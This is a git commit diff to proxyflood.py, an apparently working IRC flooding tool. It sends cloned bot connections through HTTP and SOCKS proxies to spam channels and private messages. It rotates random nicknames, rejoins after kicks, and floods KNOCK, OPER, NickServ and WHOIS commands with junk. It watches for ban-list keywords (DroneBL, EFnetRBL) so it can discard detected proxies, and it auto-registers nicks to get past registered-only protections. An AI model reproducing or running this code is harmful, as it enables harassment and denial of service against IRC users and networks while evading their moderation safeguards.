useless shitty proxyflood thing
This commit is contained in:
389
proxyflood.py
389
proxyflood.py
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import time, random, string, re, copy
|
import time, random, string, re, copy, sys
|
||||||
try:
|
try:
|
||||||
from geoip import geolite2
|
from geoip import geolite2
|
||||||
geolite = True
|
geolite = True
|
||||||
@@ -28,6 +28,53 @@ has_joined = []
|
|||||||
with open('usernames.txt') as h:
|
with open('usernames.txt') as h:
|
||||||
nicklist = [ nick.strip() for nick in h.readlines() ]
|
nicklist = [ nick.strip() for nick in h.readlines() ]
|
||||||
|
|
||||||
|
|
||||||
|
def gennick():
|
||||||
|
def rand():
|
||||||
|
r = random.Random()
|
||||||
|
return r.randint(0, 0xffffffff)
|
||||||
|
|
||||||
|
vowels = ['a', 'e', 'i', 'o', 'u', 'a', 'e', 'i', 'o', 'u', 'y' ]
|
||||||
|
cons = [
|
||||||
|
'b','c','d','f','g','h','j','k','l','m',
|
||||||
|
'n','p','q','r','s','t','v','w','x','z',
|
||||||
|
'bl', 'br', 'cr', 'cl', 'dr', 'fr', 'fl','gr','gl','kr','kl',
|
||||||
|
'pr', 'pl', 'sh', 'st', 'sp', 'tr',
|
||||||
|
# give these few a couple more chances
|
||||||
|
'b', 'd', 'f', 'g', 'h', 'm', 'n', 'r', 's', 't'
|
||||||
|
]
|
||||||
|
# these consonant pairs may not be used on word start
|
||||||
|
cpair = ['ck', 'mm', 'nn', 'll', 'rm', 'tt', 'tz', 'pp']
|
||||||
|
|
||||||
|
name = ''
|
||||||
|
icount = 0
|
||||||
|
|
||||||
|
def rand_vowel():
|
||||||
|
return vowels[rand()%len(vowels)]
|
||||||
|
def rand_cons():
|
||||||
|
return cons[rand()%len(cons)]
|
||||||
|
def rand_cpair():
|
||||||
|
return cpair[rand()%len(cpair)]
|
||||||
|
|
||||||
|
if rand()%2 == 0:
|
||||||
|
name += rand_vowel()
|
||||||
|
icount += 1
|
||||||
|
|
||||||
|
maxicount = 3 + rand()%6
|
||||||
|
while icount < maxicount:
|
||||||
|
dc = False
|
||||||
|
if icount > 0 and rand()%4 == 0:
|
||||||
|
name += rand_cpair()
|
||||||
|
dc = True
|
||||||
|
else: name += rand_cons()
|
||||||
|
icount += 1
|
||||||
|
if icount == maxicount and not dc: break
|
||||||
|
name += rand_vowel()
|
||||||
|
icount += 1
|
||||||
|
|
||||||
|
return(name)
|
||||||
|
|
||||||
|
|
||||||
def try_div(a, b):
|
def try_div(a, b):
|
||||||
if b != 0: return a/float(b)
|
if b != 0: return a/float(b)
|
||||||
return 0
|
return 0
|
||||||
@@ -57,9 +104,9 @@ def socks4_resolve(srvname, server_port):
|
|||||||
|
|
||||||
def has_been_lined(recv):
|
def has_been_lined(recv):
|
||||||
recv = recv.lower()
|
recv = recv.lower()
|
||||||
badkw = [ 'not welcome', 'dronebl', 'sectoor', 'kline@', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
|
badkw = [ 'not welcome', 'dronebl', 'sectoor', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
|
||||||
for bkw in badkw:
|
for bkw in badkw:
|
||||||
if bkw in recv: return True
|
if bkw in recv: return bkw
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def randcrap(msg):
|
def randcrap(msg):
|
||||||
@@ -67,7 +114,8 @@ def randcrap(msg):
|
|||||||
chars = string.ascii_letters + string.punctuation
|
chars = string.ascii_letters + string.punctuation
|
||||||
while '%RANDCRAP%' in msg:
|
while '%RANDCRAP%' in msg:
|
||||||
crap = ''
|
crap = ''
|
||||||
for i in range( random.randint(1,5)):
|
#for i in range( random.randint(1,5)):
|
||||||
|
for i in range(3):
|
||||||
if len(crap): crap = '%s ' %crap
|
if len(crap): crap = '%s ' %crap
|
||||||
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
|
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
|
||||||
msg = msg.replace('%RANDCRAP%', crap,1)
|
msg = msg.replace('%RANDCRAP%', crap,1)
|
||||||
@@ -78,128 +126,155 @@ def ischan(c):
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
def flood(sock):
|
def flood(sock):
|
||||||
if config.flood.nick: nick = config.flood.nick
|
if config.flood.nick:
|
||||||
else: nick = random.choice(nicklist)
|
nick = config.flood.nick
|
||||||
|
ident = nick
|
||||||
|
realname = nick
|
||||||
|
else:
|
||||||
|
nick = random.choice(nicklist)
|
||||||
|
if random.random() < random.random(): nick = gennick()
|
||||||
|
if random.random() < random.random(): ident = nick
|
||||||
|
else: ident = gennick()
|
||||||
|
if random.random() < random.random(): realname = nick
|
||||||
|
else: realname = gennick()
|
||||||
|
#if random.random() < random.random(): nick = '%s%d' % (nick, random.randint(10,99))
|
||||||
|
#elif random.random() < random.random(): nick = '%s%s' % (nick, random.choice(['-','_','`','^']))
|
||||||
|
#elif random.random() < random.random(): nick = '[%s]' % nick
|
||||||
|
#elif random.random() < random.random(): nick = '^%s^' % nick
|
||||||
|
|
||||||
|
global floodfiles
|
||||||
global has_joined
|
global has_joined
|
||||||
if config.flood.message is not None:
|
if config.flood.message is not None:
|
||||||
msgs = config.flood.message.split(';')
|
msgs = config.flood.message.split(';')
|
||||||
#msgs = [ randcrap(msg) for msg in msgs ]
|
#msgs = [ randcrap(msg) for msg in msgs ]
|
||||||
|
|
||||||
chans = [ i for i in config.flood.target.split(',') if ischan(i) ]
|
try: chans = [ i.lower() for i in config.flood.target.split(',') if ischan(i) ]
|
||||||
nicks = [ i for i in config.flood.target.split(',') if not ischan(i) ]
|
except: chans = []
|
||||||
|
try: nicks = [ i.lower() for i in config.flood.target.split(',') if not ischan(i) ]
|
||||||
|
except: nicks = []
|
||||||
|
|
||||||
if len(chans) > 4: chans = random.choice(chans, 4)
|
if chans and len(chans) > 4: chans = random.choice(chans, 4)
|
||||||
if len(nicks) > 4: nicks = random.choice(nicks, 4)
|
if nicks and len(nicks) > 4: nicks = random.choice(nicks, 4)
|
||||||
|
|
||||||
if len(chans): print('chans: %s' %','.join(chans))
|
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, ident, nick, realname))
|
||||||
if len(nicks): print('nicks: %s' %','.join(nicks))
|
|
||||||
|
|
||||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
|
||||||
cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle
|
cycle = random.choice([0,1]) if config.flood.cycle == 2 else config.flood.cycle
|
||||||
ticks = time.time()
|
ticks = time.time()
|
||||||
sent_ping = False
|
sent_ping = False
|
||||||
|
gotmotd = False
|
||||||
ret = False
|
ret = False
|
||||||
connected = False
|
connected = False
|
||||||
sentquery = False
|
sentquery = False
|
||||||
|
failed = 0
|
||||||
isjoined = None
|
isjoined = None
|
||||||
|
lastflood = None
|
||||||
|
lastoperflood = None
|
||||||
|
lastwhois = None
|
||||||
|
changenick = None
|
||||||
|
lastpong = time.time()
|
||||||
global is_target_protected
|
global is_target_protected
|
||||||
global default_threads
|
global default_threads
|
||||||
global waitonsuccess
|
global waitonsuccess
|
||||||
|
|
||||||
hilight = {}
|
hilight = {}
|
||||||
|
|
||||||
|
#sff = floodfiles
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
if config.flood.duration > 0:
|
if config.flood.duration > 0:
|
||||||
if (time.time() - ticks) > config.flood.duration: break
|
if (time.time() - ticks) > config.flood.duration: break
|
||||||
|
|
||||||
elif not len(chans) and not len(nicks):
|
#if not len(chans) and not len(nicks):
|
||||||
print('no chan nothing')
|
# ret = True
|
||||||
ret = True
|
# break
|
||||||
break
|
|
||||||
|
|
||||||
try:
|
try: recv = sock.recvline()
|
||||||
recv = sock.recvline()
|
except Exception as e: break
|
||||||
except:
|
|
||||||
break
|
|
||||||
|
|
||||||
if not len(recv): break
|
if not len(recv): break
|
||||||
|
elif recv.startswith('HTTP'): break
|
||||||
|
recv = recv.strip()
|
||||||
|
#if ' 491 ' in recv: print(recv)
|
||||||
|
print(recv)
|
||||||
|
|
||||||
elif not ' 372 ' in recv:
|
|
||||||
_log(recv.strip(), nick)
|
|
||||||
if has_been_lined(recv):
|
if has_been_lined(recv):
|
||||||
ret = False
|
ret = False
|
||||||
break
|
break
|
||||||
|
|
||||||
if recv.startswith('ERROR'):
|
if recv.startswith('ERROR'):
|
||||||
|
_log(recv, nick)
|
||||||
break
|
break
|
||||||
|
|
||||||
elif recv.startswith('PING'):
|
elif recv.startswith('PING'):
|
||||||
if config.flood.use_timeout:
|
if config.flood.use_timeout:
|
||||||
if sent_ping: continue
|
if sent_ping: continue
|
||||||
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
|
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
|
||||||
sent_ping = True
|
sent_ping = True
|
||||||
continue
|
#continue
|
||||||
elif recv.startswith('HTTP'): break
|
|
||||||
|
|
||||||
# flood in PVs
|
|
||||||
if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks):
|
|
||||||
if not sentquery or (time.time() - sentquery) > 60:
|
|
||||||
if config.flood.change_nick and config.flood.message is not None:
|
|
||||||
print('sending queries ? (nickchange)')
|
|
||||||
for i in range(config.flood.change_nick):
|
|
||||||
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
|
|
||||||
time.sleep(0.3)
|
|
||||||
elif config.flood.message is not None:
|
|
||||||
print('sending queries ?')
|
|
||||||
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
|
|
||||||
sentquery = time.time()
|
|
||||||
|
|
||||||
if connected and config.flood.message and isjoined:
|
|
||||||
if not config.flood.wait or (time.time() - isjoined) > config.flood.wait:
|
|
||||||
sock.send('PRIVMSG %s :%s\n' % (','.join(chans), randcrap(random.choice(msgs))))
|
|
||||||
time.sleep(0.7)
|
|
||||||
|
|
||||||
_split = recv.split(' ')
|
_split = recv.split(' ')
|
||||||
|
# reply to whois
|
||||||
|
if _split[1] in ['311', '319', '312', '330', '307', '671', '318' ]:
|
||||||
|
continue
|
||||||
|
|
||||||
if _split[1] == 'PONG':
|
if _split[1] == 'PONG':
|
||||||
time.sleep(1)
|
_log('%s: %s' % (nick, recv), nick)
|
||||||
|
#if random.random() < random.random(): time.sleep(0.3)
|
||||||
sock.send('PING %d\r\n' % round(time.time() - connected))
|
sock.send('PING %d\r\n' % round(time.time() - connected))
|
||||||
|
|
||||||
# irc welcome message
|
# irc welcome message
|
||||||
|
elif _split[1] == '376':
|
||||||
|
gotmotd = True
|
||||||
|
elif _split[1] == '474':
|
||||||
|
try: chans.remove(_split[3].lower())
|
||||||
|
except: pass
|
||||||
|
|
||||||
|
elif _split[1] == '352':
|
||||||
|
n = _split[7].lower()
|
||||||
|
if not n in nicks: nicks.append(n)
|
||||||
|
|
||||||
elif _split[1] == '001':
|
elif _split[1] == '001':
|
||||||
connected = time.time()
|
connected = time.time()
|
||||||
|
|
||||||
|
if config.flood.oper:
|
||||||
|
sock.send('WHO 0 o\n')
|
||||||
|
|
||||||
send = []
|
send = []
|
||||||
|
|
||||||
send.append('PING :%d' %random.random())
|
send.append('PING :%d' %random.random())
|
||||||
## spam chans on connect
|
## spam chans on connect
|
||||||
if len(chans):
|
if chans and len(chans):
|
||||||
send.append('JOIN %s' % ','.join(chans))
|
send.append('JOIN %s' % ','.join(chans))
|
||||||
if config.flood.message:
|
if config.flood.message and not config.flood.wait:
|
||||||
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
|
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
|
||||||
#if cycle:
|
|
||||||
# if config.flood.message:
|
|
||||||
# send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
|
|
||||||
# else:
|
|
||||||
# send.append('PART %s' %','.join(chans))
|
|
||||||
|
|
||||||
## spam nicks on connect
|
## spam nicks on connect
|
||||||
if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
|
#if nicks and len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
|
||||||
if config.flood.change_nick:
|
# if config.flood.change_nick:
|
||||||
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
|
# #for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
|
||||||
else:
|
# for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s' % (','.join(nicks), randcrap(random.choice(msgs)), gennick()))
|
||||||
send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs))))
|
# else:
|
||||||
|
# send.append('PRIVMSG %s :%s' % (','.join(nicks), randcrap(random.choice(msgs))))
|
||||||
|
|
||||||
if len(send):
|
if len(send):
|
||||||
print( '001: sending %s' % '\r\n'.join(send))
|
|
||||||
sock.send('\r\n'.join(send) + '\r\n')
|
sock.send('\r\n'.join(send) + '\r\n')
|
||||||
|
|
||||||
elif _split[1] == 'PART':
|
elif _split[1] == 'PART':
|
||||||
if recv.startswith(':%s!' % nick): isjoined = None
|
c = _split[2].lstrip(':').lower()
|
||||||
if config.flood.cycle: sock.send('JOIN %s\n' % _split[2].lstrip(':'))
|
if not c in chans: continue
|
||||||
|
if not recv.startswith(':%s!' % nick): continue
|
||||||
|
isjoined = None
|
||||||
|
failed = 0
|
||||||
|
if config.flood.cycle: sock.send('JOIN %s\n' % c)
|
||||||
|
|
||||||
# end of names list (joined a chan)
|
# end of names list (joined a chan)
|
||||||
elif _split[1] == '366':
|
elif _split[1] == '366':
|
||||||
|
failed = 0
|
||||||
isjoined = time.time()
|
isjoined = time.time()
|
||||||
|
connected = time.time()
|
||||||
ret = True
|
ret = True
|
||||||
send = []
|
c = _split[3].lower()
|
||||||
c = _split[3]
|
if not c in chans: continue
|
||||||
|
"""
|
||||||
if config.flood.hilight:
|
if config.flood.hilight:
|
||||||
hl = ''
|
hl = ''
|
||||||
for n in hilight[c]:
|
for n in hilight[c]:
|
||||||
@@ -207,20 +282,16 @@ def flood(sock):
|
|||||||
else: hl = n
|
else: hl = n
|
||||||
if len(hl) >= 200: break
|
if len(hl) >= 200: break
|
||||||
send.append('PRIVMSG %s :%s' %(c,hl))
|
send.append('PRIVMSG %s :%s' %(c,hl))
|
||||||
|
"""
|
||||||
|
send = []
|
||||||
|
|
||||||
if not c in has_joined:
|
if not c in has_joined:
|
||||||
has_joined.append(c)
|
has_joined.append(c)
|
||||||
if not c in chans:
|
if not c in chans:
|
||||||
chans.append(c)
|
chans.append(c)
|
||||||
|
|
||||||
#if cycle:
|
|
||||||
# if config.flood.message is not None:
|
|
||||||
# send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
|
|
||||||
# else:
|
|
||||||
# send.append('JOIN %s\r\nPART %s' %(c,c))
|
|
||||||
|
|
||||||
if config.flood.message:
|
if config.flood.message:
|
||||||
if not config.flood.wait or (time.time() - isjoined) > config.flood.wait:
|
if not config.flood.wait or (time.time() - connected) > config.flood.wait:
|
||||||
send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs))))
|
send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs))))
|
||||||
|
|
||||||
if config.flood.cycle:
|
if config.flood.cycle:
|
||||||
@@ -228,27 +299,30 @@ def flood(sock):
|
|||||||
message = randcrap( random.choice(msgs) )
|
message = randcrap( random.choice(msgs) )
|
||||||
else: message = ''
|
else: message = ''
|
||||||
send.append('PART %s :%s\n' % (c,message))
|
send.append('PART %s :%s\n' % (c,message))
|
||||||
|
continue
|
||||||
|
|
||||||
if config.flood.once:
|
if config.flood.once:
|
||||||
send.append('QUIT')
|
send.append('QUIT')
|
||||||
|
|
||||||
if len(send):
|
if len(send):
|
||||||
sock.send('\r\n'.join(send) + '\r\n')
|
sock.send('\r\n'.join(send) + '\r\n')
|
||||||
print('366 sent: %s' %'\r\n'.join(send))
|
_log('366 sent: %s' %'\r\n'.join(send), nick)
|
||||||
|
|
||||||
if config.flood.waitonsuccess:
|
if config.flood.waitonsuccess:
|
||||||
print('bots should now wait')
|
_log('bots should now wait', nick)
|
||||||
waitonsuccess = time.time()
|
waitonsuccess = time.time()
|
||||||
|
|
||||||
# nick/chan not found
|
# nick/chan not found
|
||||||
elif _split[1] == '403':
|
elif _split[1] == '403':
|
||||||
ret = True
|
ret = True
|
||||||
if _split[3] in chans: chans.remove(_split[3])
|
c = _split[3].lower()
|
||||||
elif _split[3] in nicks: nicks.remove(split[3])
|
if c in chans: chans.remove(c)
|
||||||
|
elif c in nicks: nicks.remove(c)
|
||||||
|
|
||||||
# nick reseverd or already used
|
# nick reseverd or already used
|
||||||
elif _split[1] == '432' or _split[1] == '433':
|
elif _split[1] == '432' or _split[1] == '433':
|
||||||
nick = random.choice(nicklist)
|
#nick = random.choice(nicklist)
|
||||||
|
nick = gennick()
|
||||||
sock.send('NICK %s\r\n' % nick)
|
sock.send('NICK %s\r\n' % nick)
|
||||||
|
|
||||||
elif _split[1] == '353':
|
elif _split[1] == '353':
|
||||||
@@ -271,46 +345,130 @@ def flood(sock):
|
|||||||
# chan +i
|
# chan +i
|
||||||
elif _split[1] == '473':
|
elif _split[1] == '473':
|
||||||
if not ret: ret = True
|
if not ret: ret = True
|
||||||
sock.send('KNOCK %s\r\n' % _split[3])
|
for i in range(5):
|
||||||
if _split[3] in chans: chans.remove( _split[3] )
|
sock.send('KNOCK %s %s\r\n' % (_split[3], 'E'*200))
|
||||||
|
#time.sleep(0.3)
|
||||||
|
#if _split[3] in chans: chans.remove( _split[3] )
|
||||||
|
|
||||||
# bot has been kicked
|
# bot has been kicked
|
||||||
elif _split[1] == 'KICK':
|
elif _split[1] == 'KICK':
|
||||||
if _split[3] == nick: sock.send('JOIN %s\n' % _split[3])
|
if _split[3] == nick:
|
||||||
|
sock.send('JOIN %s\n' % _split[2])
|
||||||
|
continue
|
||||||
|
|
||||||
# user is not present
|
# user is not present
|
||||||
elif _split[1] == '401':
|
elif _split[1] == '401':
|
||||||
if not ret: ret = True
|
if not ret: ret = True
|
||||||
#if _split[3] in chans: chans.remove(_split[3])
|
#if _split[3] in chans: chans.remove(_split[3])
|
||||||
if _split[3] in nicks: nicks.remove(_split[3])
|
if _split[3].lower() in nicks: nicks.remove(_split[3].lower())
|
||||||
if not len(chans) and not len(nicks): break
|
|
||||||
# banned from chan
|
# banned from chan
|
||||||
elif _split[1] == '404':
|
elif _split[1] == '404':
|
||||||
|
_log(recv, nick)
|
||||||
|
c = _split[3].lower()
|
||||||
if not ret: ret = True
|
if not ret: ret = True
|
||||||
if _split[3] in chans: chans.remove( _split[3] )
|
failed = failed +1
|
||||||
|
if failed >= 10:
|
||||||
|
if c in chans: chans.remove( c )
|
||||||
|
else:
|
||||||
|
sock.send('JOIN %s\n' % c)
|
||||||
|
|
||||||
# user or chan sets mode +R
|
# user or chan sets mode +R
|
||||||
elif _split[1] == '477' or _split[1] == '531':
|
elif _split[1] == '477' or _split[1] == '531':
|
||||||
|
target = _split[3].lower()
|
||||||
if not ret: ret = True
|
if not ret: ret = True
|
||||||
|
_log('target "%s" is protected (+R)' % target, nick)
|
||||||
|
|
||||||
if not config.flood.register:
|
if not config.flood.register:
|
||||||
if _split[3] in chans: chans.remove(_split[3])
|
if target in chans: chans.remove(target)
|
||||||
if _split[3] in nicks: nicks.remove(_split[3])
|
if target in nicks: nicks.remove(target)
|
||||||
print('target "%s" is protected (+R)' % _split[3])
|
#if not len(chans) and not len(nicks): break
|
||||||
if not len(chans) and not len(nicks): break
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
#if '#' in config.flood.target:
|
#if '#' in config.flood.target:
|
||||||
if len(chans):
|
if chans and len(chans):
|
||||||
sock.send('JOIN %s\r\n' % ','.join(chans))
|
sock.send('JOIN %s\r\n' % ','.join(chans))
|
||||||
if config.flood.message is not None:
|
if config.flood.message is not None:
|
||||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs))))
|
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, randcrap(random.choice(msgs))))
|
||||||
if config.flood.once: sock.send('QUIT\r\n')
|
if config.flood.once: sock.send('QUIT\r\n')
|
||||||
|
|
||||||
try: sock.disconnect()
|
|
||||||
except: pass
|
if not connected: continue
|
||||||
|
if config.flood.wait and (time.time() - connected) < config.flood.wait: continue
|
||||||
|
|
||||||
|
##
|
||||||
|
## FLOOD GOES HERE
|
||||||
|
##
|
||||||
|
# flood oper
|
||||||
|
|
||||||
|
if config.flood.failid is not None:
|
||||||
|
choices = config.flood.failid.split(',')
|
||||||
|
print(choices)
|
||||||
|
sock.send('NICKSERV IDENTIFY %s %s\n' % (random.sample(choices,1), 'foo'))
|
||||||
|
|
||||||
|
if config.flood.oper:
|
||||||
|
if not lastoperflood or (time.time() - lastoperflood) >= 1:
|
||||||
|
lastoperflood = time.time()
|
||||||
|
if random.random() < random.random():
|
||||||
|
sock.send('OPER %s %s\n' % ( ''.join( [c*10 for c in 'REEEEEEEEEEEEEEEEEE'] ), 'i' ))
|
||||||
|
|
||||||
|
# flood os
|
||||||
|
if config.flood.os:
|
||||||
|
sock.send('OS %s\n' % 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE')
|
||||||
|
|
||||||
|
# flood in PVs
|
||||||
|
if config.flood.query and (time.time() - connected) >= config.flood.noquerybefore and nicks and len(nicks):
|
||||||
|
if not sentquery or (time.time() - sentquery) > 60:
|
||||||
|
if config.flood.change_nick and config.flood.message is not None:
|
||||||
|
_log('sending queries ? (nickchange)', nick)
|
||||||
|
for i in range(config.flood.change_nick):
|
||||||
|
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), gennick()))
|
||||||
|
elif config.flood.message is not None:
|
||||||
|
_log('sending queries ?', nick)
|
||||||
|
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
|
||||||
|
sentquery = time.time()
|
||||||
|
|
||||||
|
if config.flood.change_nick:
|
||||||
|
if not changenick or (time.time() - changenick) >= 60:
|
||||||
|
changenick = time.time()
|
||||||
|
for i in range(config.flood.change_nick):
|
||||||
|
sock.send('NICK %s\r\n' % gennick())
|
||||||
|
|
||||||
|
# flood chan
|
||||||
|
if isjoined:
|
||||||
|
if not lastflood or (time.time() - lastflood) >= 2:
|
||||||
|
if not config.flood.wait or (time.time() - connected) > config.flood.wait and chans and len(chans):
|
||||||
|
lastflood = time.time()
|
||||||
|
if config.flood.message:
|
||||||
|
for c in chans:
|
||||||
|
sock.send('PRIVMSG %s :%s\n' % (c, randcrap(random.choice(msgs))))
|
||||||
|
if config.flood.file:
|
||||||
|
if not len(floodfiles): loadfloodfile()
|
||||||
|
choice = random.choice(floodfiles)
|
||||||
|
floodfiles.remove(choice)
|
||||||
|
for c in chans:
|
||||||
|
spam = [ 'PRIVMSG %s :%s' % (c,i) for i in choice ]
|
||||||
|
sock.send('%s\n' % ''.join(spam))
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
if config.flood.modex and random.random() < random.random():
|
||||||
|
sock.send('MODE %s -x\nMODE %s +x\n' % (nick, nick))
|
||||||
|
|
||||||
|
if config.flood.whois and nicks and len(nicks) > 0:
|
||||||
|
lastwhois = time.time()
|
||||||
|
if not lastwhois or (time.time() - lastwhois) >= 1 and random.random() < random.random():
|
||||||
|
maxsample = len(nicks)
|
||||||
|
if maxsample > 3: maxsample = 3
|
||||||
|
sock.send('WHOIS %s\n' % ','.join( random.sample(nicks, maxsample)))
|
||||||
|
|
||||||
|
_log('end of loop', nick)
|
||||||
|
try:
|
||||||
|
sock.send('QUIT :\n')
|
||||||
|
time.sleep(1)
|
||||||
|
sock.disconnect()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
return ret
|
return ret
|
||||||
|
|
||||||
@@ -329,12 +487,17 @@ class WorkerJob():
|
|||||||
global badlist
|
global badlist
|
||||||
#global waitonsuccess
|
#global waitonsuccess
|
||||||
#if self.proxy in badlist: return False
|
#if self.proxy in badlist: return False
|
||||||
|
|
||||||
|
while time.time() < nextrun: time.sleep(1)
|
||||||
|
|
||||||
|
"""
|
||||||
if config.flood.waitonsuccess and waitonsuccess is not None:
|
if config.flood.waitonsuccess and waitonsuccess is not None:
|
||||||
if not '-' in config.flood.delay:
|
if not '-' in config.flood.delay:
|
||||||
if (time.time() - waitonsuccess) < int(config.flood.delay): return True
|
if (time.time() - waitonsuccess) < int(config.flood.delay): return True
|
||||||
else:
|
else:
|
||||||
s = config.flood.delay.split('-')
|
s = config.flood.delay.split('-')
|
||||||
if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True
|
if (time.time() - waitonsuccess) < random.randint(int(s[0]), int(s[1])): return True
|
||||||
|
"""
|
||||||
|
|
||||||
srvname = config.flood.server
|
srvname = config.flood.server
|
||||||
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
||||||
@@ -363,7 +526,7 @@ class WorkerJob():
|
|||||||
sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout)
|
sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout)
|
||||||
sock.connect()
|
sock.connect()
|
||||||
status = flood(sock)
|
status = flood(sock)
|
||||||
print('status: %s' %str(status))
|
#print('status: %s' %str(status))
|
||||||
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
||||||
if not status and random.random() < random.random(): status = False
|
if not status and random.random() < random.random(): status = False
|
||||||
return status
|
return status
|
||||||
@@ -412,8 +575,15 @@ class WorkerJob():
|
|||||||
global default_threads
|
global default_threads
|
||||||
config.flood.threads = default_threads
|
config.flood.threads = default_threads
|
||||||
|
|
||||||
while self.connect_socket():
|
global nextrun
|
||||||
time.sleep(10)
|
if self.connect_socket():
|
||||||
|
if config.flood.waitonsuccess and waitonsuccess is not None:
|
||||||
|
if not '-' in config.flood.delay:
|
||||||
|
nextrun = time.time() + config.flood.delay
|
||||||
|
else:
|
||||||
|
s = config.flood.delay.split('-')
|
||||||
|
nextrun = time.time() + random.randint( int(s[0]), int(s[1]))
|
||||||
|
print('nextrun: %s' % time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(nextrun)))
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -543,11 +713,13 @@ class Proxywatchd():
|
|||||||
## enable tor safeguard by default
|
## enable tor safeguard by default
|
||||||
self.tor_safeguard = config.watchd.tor_safeguard
|
self.tor_safeguard = config.watchd.tor_safeguard
|
||||||
rows = self.fetch_rows()
|
rows = self.fetch_rows()
|
||||||
|
|
||||||
#print('preparing jobbs, oldies: %s' % str(self.isoldies))
|
#print('preparing jobbs, oldies: %s' % str(self.isoldies))
|
||||||
for row in rows:
|
for i in range(config.flood.clones):
|
||||||
job = WorkerJob(row[0], row[1], row[2], row[3], row[4], row[5], self.isoldies)
|
for row in rows:
|
||||||
self.jobs.append(job)
|
job = WorkerJob(row[0], row[1], row[2], row[3], row[4], row[5], self.isoldies)
|
||||||
self._close_db()
|
self.jobs.append(job)
|
||||||
|
self._close_db()
|
||||||
|
|
||||||
def collect_work(self):
|
def collect_work(self):
|
||||||
for wt in self.threads:
|
for wt in self.threads:
|
||||||
@@ -604,13 +776,12 @@ class Proxywatchd():
|
|||||||
_log('starting...', 'flood')
|
_log('starting...', 'flood')
|
||||||
|
|
||||||
for i in range(config.flood.threads):
|
for i in range(config.flood.threads):
|
||||||
# XXX: multiplicator
|
#threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] )
|
||||||
for i in range(config.flood.clones):
|
threadid = i #''.join( [ random.choice(string.letters) for x in range(5) ] )
|
||||||
threadid = ''.join( [ random.choice(string.letters) for x in range(5) ] )
|
wt = WorkerThread(threadid)
|
||||||
wt = WorkerThread(threadid)
|
if self.in_background:
|
||||||
if self.in_background:
|
wt.start_thread()
|
||||||
wt.start_thread()
|
self.threads.append(wt)
|
||||||
self.threads.append(wt)
|
|
||||||
time.sleep( (random.random()/100) )
|
time.sleep( (random.random()/100) )
|
||||||
|
|
||||||
sleeptime = 0
|
sleeptime = 0
|
||||||
@@ -664,12 +835,28 @@ class Proxywatchd():
|
|||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
sleeptime -= 1
|
sleeptime -= 1
|
||||||
|
|
||||||
|
def loadfloodfile():
|
||||||
|
print('(re)loading floodfiles...')
|
||||||
|
global floodfiles
|
||||||
|
floodfiles = []
|
||||||
|
onlyfiles = ['%s/%s' % (config.flood.file, f) for f in listdir(config.flood.file) if isfile(join(config.flood.file, f))]
|
||||||
|
for f in onlyfiles:
|
||||||
|
with open(f, 'r') as handle:
|
||||||
|
floodfile = handle.readlines()
|
